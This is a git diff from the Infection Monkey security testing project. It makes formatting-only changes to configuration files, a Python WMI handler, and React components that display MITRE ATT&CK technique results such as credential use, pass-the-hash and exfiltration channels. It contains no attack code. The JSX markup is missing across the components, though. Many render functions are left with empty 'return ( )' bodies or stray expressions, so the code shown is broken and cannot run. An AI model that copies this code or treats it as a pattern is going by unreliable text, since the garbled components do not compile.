--- a/monkey/monkey_island/cc/services/wmi_handler.py
+++ b/monkey/monkey_island/cc/services/wmi_handler.py
@@ -5,7 +5,6 @@ __author__ = 'maor.rayzin'
class WMIHandler(object):
-
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
def __init__(self, monkey_id, wmi_info, user_secrets):
@@ -160,4 +159,3 @@ class WMIHandler(object):
{'type': USERTYPE, 'entities_list': 1})
if entity_details.get('type') == GROUPTYPE:
self.add_admin(entity_details, machine_id)
-
diff --git a/monkey/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc
index 31130e826..7c92bc8e1 100644
--- a/monkey/monkey_island/cc/ui/.babelrc
+++ b/monkey/monkey_island/cc/ui/.babelrc
@@ -1,4 +1,10 @@
{
- "presets": ["es2015", "stage-0", "react"],
- "plugins": ["emotion"]
+ "presets": [
+ "es2015",
+ "stage-0",
+ "react"
+ ],
+ "plugins": [
+ "emotion"
+ ]
}
diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc
index b542daaf7..6b5cd85f9 100644
--- a/monkey/monkey_island/cc/ui/.eslintrc
+++ b/monkey/monkey_island/cc/ui/.eslintrc
@@ -19,14 +19,22 @@
},
"rules": {
"comma-dangle": 1,
- "quotes": [ 1, "single" ],
+ "quotes": [
+ 1,
+ "single"
+ ],
"no-undef": 1,
"global-strict": 0,
"no-extra-semi": 1,
"no-underscore-dangle": 0,
"no-console": 1,
"no-unused-vars": 1,
- "no-trailing-spaces": [1, { "skipBlankLines": true }],
+ "no-trailing-spaces": [
+ 1,
+ {
+ "skipBlankLines": true
+ }
+ ],
"no-unreachable": 1,
"no-alert": 0,
"react/jsx-uses-react": 1,
diff --git a/monkey/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js
index 87401bfe6..660cb8128 100644
--- a/monkey/monkey_island/cc/ui/karma.conf.js
+++ b/monkey/monkey_island/cc/ui/karma.conf.js
@@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config');
// Set node environment to testing
process.env.NODE_ENV = 'test';
-module.exports = function(config) {
+module.exports = function (config) {
config.set({
basePath: '',
- browsers: [ 'PhantomJS' ],
+ browsers: ['PhantomJS'],
files: [
'test/loadtests.js'
],
port: 8000,
captureTimeout: 60000,
- frameworks: [ 'mocha', 'chai' ],
+ frameworks: ['mocha', 'chai'],
client: {
mocha: {}
},
singleRun: true,
- reporters: [ 'mocha', 'coverage' ],
+ reporters: ['mocha', 'coverage'],
preprocessors: {
- 'test/loadtests.js': [ 'webpack', 'sourcemap' ]
+ 'test/loadtests.js': ['webpack', 'sourcemap']
},
webpack: webpackCfg,
webpackServer: {
@@ -28,8 +28,8 @@ module.exports = function(config) {
coverageReporter: {
dir: 'coverage/',
reporters: [
- { type: 'html' },
- { type: 'text' }
+ {type: 'html'},
+ {type: 'text'}
]
}
});
diff --git a/monkey/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js
index ec9182cde..49045359e 100644
--- a/monkey/monkey_island/cc/ui/server.js
+++ b/monkey/monkey_island/cc/ui/server.js
@@ -14,19 +14,19 @@ let isInitialCompilation = true;
const compiler = webpack(config);
new WebpackDevServer(compiler, config.devServer)
-.listen(config.port, 'localhost', (err) => {
- if (err) {
- console.log(err);
- }
- console.log('Listening at localhost:' + config.port);
-});
+ .listen(config.port, 'localhost', (err) => {
+ if (err) {
+ console.log(err);
+ }
+ console.log('Listening at localhost:' + config.port);
+ });
compiler.plugin('done', () => {
if (isInitialCompilation) {
// Ensures that we log after webpack printed its stats (is there a better way?)
setTimeout(() => {
console.log('\n✓ The bundle is now ready for serving!\n');
- console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
+ console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n');
console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.')
}, 350);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
index 2e7ef4fc3..640032767 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js
@@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent {
};
// Finds which attack type has most techniques and returns that number
- static findMaxTechniques(data){
+ static findMaxTechniques(data) {
let maxLen = 0;
- data.forEach(function(techType) {
- if (Object.keys(techType.properties).length > maxLen){
+ data.forEach(function (techType) {
+ if (Object.keys(techType.properties).length > maxLen) {
maxLen = Object.keys(techType.properties).length
}
});
@@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent {
};
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
- static parseTechniques (data, maxLen) {
+ static parseTechniques(data, maxLen) {
let techniques = [];
// Create rows with attack techniques
for (let i = 0; i < maxLen; i++) {
let row = {};
- data.forEach(function(techType){
+ data.forEach(function (techType) {
let rowColumn = {};
rowColumn.techName = techType.title;
if (i <= Object.keys(techType.properties).length) {
rowColumn.technique = Object.values(techType.properties)[i];
- if (rowColumn.technique){
+ if (rowColumn.technique) {
rowColumn.technique.name = Object.keys(techType.properties)[i]
}
} else {
@@ -50,28 +50,28 @@ class MatrixComponent extends AuthComponent {
};
getColumns(matrixData) {
- return Object.keys(matrixData[0]).map((key)=>{
+ return Object.keys(matrixData[0]).map((key) => {
return {
Header: key,
id: key,
accessor: x => this.renderTechnique(x[key].technique),
- style: { 'whiteSpace': 'unset' }
+ style: {'whiteSpace': 'unset'}
};
});
}
renderTechnique(technique) {
- if (technique == null){
- return (
)
+ if (technique == null) {
+ return (
)
} else {
return (
-
- {technique.title}
-
- )
+
+ {technique.title}
+
+ )
}
};
@@ -85,20 +85,20 @@ class MatrixComponent extends AuthComponent {
renderLegend = () => {
return (
- )
+ )
};
render() {
@@ -110,7 +110,7 @@ class MatrixComponent extends AuthComponent {
+ defaultPageSize={tableData['maxTechniques']}/>
);
}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
index 4d4f55dad..7b7215db0 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -1,57 +1,62 @@
import React from "react";
-export function renderMachine(val){
- return (
- {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
- )
+export function renderMachine(val) {
+ return (
+ {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
+ )
}
/* Function takes data gathered from system info collector and creates a
string representation of machine from that data. */
export function renderMachineFromSystemData(data) {
- let machineStr = data['hostname'] + " ( ";
- data['ips'].forEach(function(ipInfo){
- if(typeof ipInfo === "object"){
- machineStr += ipInfo['addr'] + ", ";
- } else {
- machineStr += ipInfo + ", ";
- }
- });
- // Replaces " ," with " )" to finish a list of IP's
- return machineStr.slice(0, -2) + " )"
+ let machineStr = data['hostname'] + " ( ";
+ data['ips'].forEach(function (ipInfo) {
+ if (typeof ipInfo === "object") {
+ machineStr += ipInfo['addr'] + ", ";
+ } else {
+ machineStr += ipInfo + ", ";
+ }
+ });
+ // Replaces " ," with " )" to finish a list of IP's
+ return machineStr.slice(0, -2) + " )"
}
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
for react table. */
export function getUsageColumns() {
- return ([{
- columns: [
- {Header: 'Machine',
- id: 'machine',
- accessor: x => renderMachineFromSystemData(x.machine),
- style: { 'whiteSpace': 'unset' },
- width: 300},
- {Header: 'Usage',
- id: 'usage',
- accessor: x => x.usage,
- style: { 'whiteSpace': 'unset' }}]
- }])}
+ return ([{
+ columns: [
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'},
+ width: 300
+ },
+ {
+ Header: 'Usage',
+ id: 'usage',
+ accessor: x => x.usage,
+ style: {'whiteSpace': 'unset'}
+ }]
+ }])
+}
/* Renders table fields that contains 'used' boolean value and 'name' string value.
'Used' value determines if 'name' value will be shown.
*/
-export function renderUsageFields(usages){
- let output = [];
- usages.forEach(function(usage){
- if(usage['used']){
- output.push({usage['name']}
)
- }
- });
- return ({output}
);
- }
+export function renderUsageFields(usages) {
+ let output = [];
+ usages.forEach(function (usage) {
+ if (usage['used']) {
+ output.push({usage['name']}
)
+ }
+ });
+ return ({output}
);
+}
export const ScanStatus = {
- UNSCANNED: 0,
- SCANNED: 1,
- USED: 2
+ UNSCANNED: 0,
+ SCANNED: 1,
+ USED: 2
};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
index 24d742c14..ccebd3e7c 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
@@ -17,7 +17,8 @@ class T1003 extends React.Component {
{this.props.data.message}
{this.props.data.status === ScanStatus.USED ?
-
+
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
index 6d46c2285..799b91d08 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
@@ -13,10 +13,17 @@ class T1005 extends React.Component {
return ([{
Header: "Sensitive data",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
- {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
- ]}])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}},
+ {Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -25,10 +32,10 @@ class T1005 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
index 63e2bb4a5..c5a02a8f7 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1016 extends React.Component {
@@ -14,10 +14,16 @@ class T1016 extends React.Component {
return ([{
Header: "Network configuration info gathered",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -26,10 +32,10 @@ class T1016 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
index dcf7687db..e54f4c89c 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, renderMachine, ScanStatus} from "./Helpers"
class T1018 extends React.Component {
@@ -10,9 +10,9 @@ class T1018 extends React.Component {
super(props);
}
- static renderMachines(machines){
+ static renderMachines(machines) {
let output = [];
- machines.forEach(function(machine){
+ machines.forEach(function (machine) {
output.push(renderMachine(machine))
});
return ({output}
);
@@ -21,12 +21,23 @@ class T1018 extends React.Component {
static getScanInfoColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
- {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
- {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.monkey),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}},
+ {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}},
+ {
+ Header: 'Systems found',
+ id: 'systems',
+ accessor: x => T1018.renderMachines(x.machines),
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
render() {
return (
@@ -35,10 +46,10 @@ class T1018 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
index ce8688af1..e9b21d7f4 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1021 extends React.Component {
@@ -13,12 +13,20 @@ class T1021 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 160},
- {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
- {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 160
+ },
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
+ {
+ Header: 'Valid account used',
+ id: 'credentials',
+ accessor: x => this.renderCreds(x.successful_creds),
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
static renderCreds(creds) {
return {creds.map(cred => {cred}
)}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
index 7345ca497..b95b6bb45 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { getUsageColumns } from "./Helpers"
+import {getUsageColumns} from "./Helpers"
class T1035 extends React.Component {
@@ -17,10 +17,10 @@ class T1035 extends React.Component {
{this.props.data.services.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
index 3d6b45d08..9749186fe 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
@@ -13,9 +13,11 @@ class T1041 extends React.Component {
return ([{
Header: "Data exfiltration channels",
columns: [
- {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
- {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
- ]}])};
+ {Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}},
+ {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}}
+ ]
+ }])
+ };
render() {
return (
@@ -24,10 +26,10 @@ class T1041 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 4651f5c41..ba886b6c7 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1059 extends React.Component {
@@ -14,11 +14,18 @@ class T1059 extends React.Component {
return ([{
Header: 'Example commands used',
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
- {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachine(x.data.machine),
+ style: {'whiteSpace': 'unset'},
+ width: 160
+ },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}},
+ {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -27,10 +34,10 @@ class T1059 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
index f57abd4b8..27b099f82 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { getUsageColumns } from "./Helpers"
+import {getUsageColumns} from "./Helpers"
class T1064 extends React.Component {
@@ -17,10 +17,10 @@ class T1064 extends React.Component {
{this.props.data.scripts.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
index 3cd12560b..db2bb943a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1075 extends React.Component {
@@ -11,10 +11,10 @@ class T1075 extends React.Component {
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
}
- setLoginHashType(login){
- if(login.attempts[0].ntlm_hash !== ""){
+ setLoginHashType(login) {
+ if (login.attempts[0].ntlm_hash !== "") {
login.attempts[0].hashType = 'NTLM';
- } else if(login.attempts[0].lm_hash !== ""){
+ } else if (login.attempts[0].lm_hash !== "") {
login.attempts[0].hashType = 'LM';
}
}
@@ -22,12 +22,13 @@ class T1075 extends React.Component {
static getHashColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
- {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
- {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}},
+ {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}},
+ {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -36,10 +37,10 @@ class T1075 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
index 8570ab1b0..1e04f9da8 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1082 extends React.Component {
@@ -13,10 +13,16 @@ class T1082 extends React.Component {
static getSystemInfoColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -25,10 +31,10 @@ class T1082 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
index db75d8dda..faeff7862 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1086 extends React.Component {
@@ -14,11 +14,18 @@ class T1086 extends React.Component {
return ([{
Header: 'Example Powershell commands used',
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
- {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachine(x.data[0].machine),
+ style: {'whiteSpace': 'unset'},
+ width: 160
+ },
+ {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
+ {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -27,10 +34,10 @@ class T1086 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
index 934e76694..8aa0de2c2 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1090 extends React.Component {
@@ -13,10 +13,13 @@ class T1090 extends React.Component {
static getProxyColumns() {
return ([{
columns: [
- {Header: 'Machines',
+ {
+ Header: 'Machines',
id: 'machine',
accessor: x => renderMachineFromSystemData(x),
- style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
+ style: {'whiteSpace': 'unset', textAlign: 'center'}
+ }]
+ }])
};
render() {
@@ -26,10 +29,10 @@ class T1090 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
index 8acd48c4b..d1df0e9e6 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { ScanStatus } from "./Helpers"
+import {ScanStatus} from "./Helpers"
class T1105 extends React.Component {
@@ -14,11 +14,12 @@ class T1105 extends React.Component {
return ([{
Header: 'Files copied',
columns: [
- {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
- {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
- {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
- ]
- }])};
+ {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170},
+ {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170},
+ {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -27,10 +28,10 @@ class T1105 extends React.Component {
{this.props.data.status !== ScanStatus.UNSCANNED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
index a3210b73c..febebb30d 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { getUsageColumns } from "./Helpers"
+import {getUsageColumns} from "./Helpers"
class T1106 extends React.Component {
@@ -17,10 +17,10 @@ class T1106 extends React.Component {
{this.props.data.api_uses.length !== 0 ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
index d80dc3f0e..faabf95a2 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1107 extends React.Component {
@@ -10,8 +10,8 @@ class T1107 extends React.Component {
super(props);
}
- static renderDelete(status){
- if(status === ScanStatus.USED){
+ static renderDelete(status) {
+ if (status === ScanStatus.USED) {
return Yes
} else {
return No
@@ -21,11 +21,19 @@ class T1107 extends React.Component {
static getDeletedFileColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
- {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
- style: { 'whiteSpace': 'unset' }, width: 160}]
- }])};
+ {
+ Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x._id.machine),
+ style: {'whiteSpace': 'unset'}
+ },
+ {Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}},
+ {
+ Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
+ style: {'whiteSpace': 'unset'}, width: 160
+ }]
+ }])
+ };
render() {
return (
@@ -34,10 +42,10 @@ class T1107 extends React.Component {
{this.props.data.deleted_files.length !== 0 ?
: ""}
);
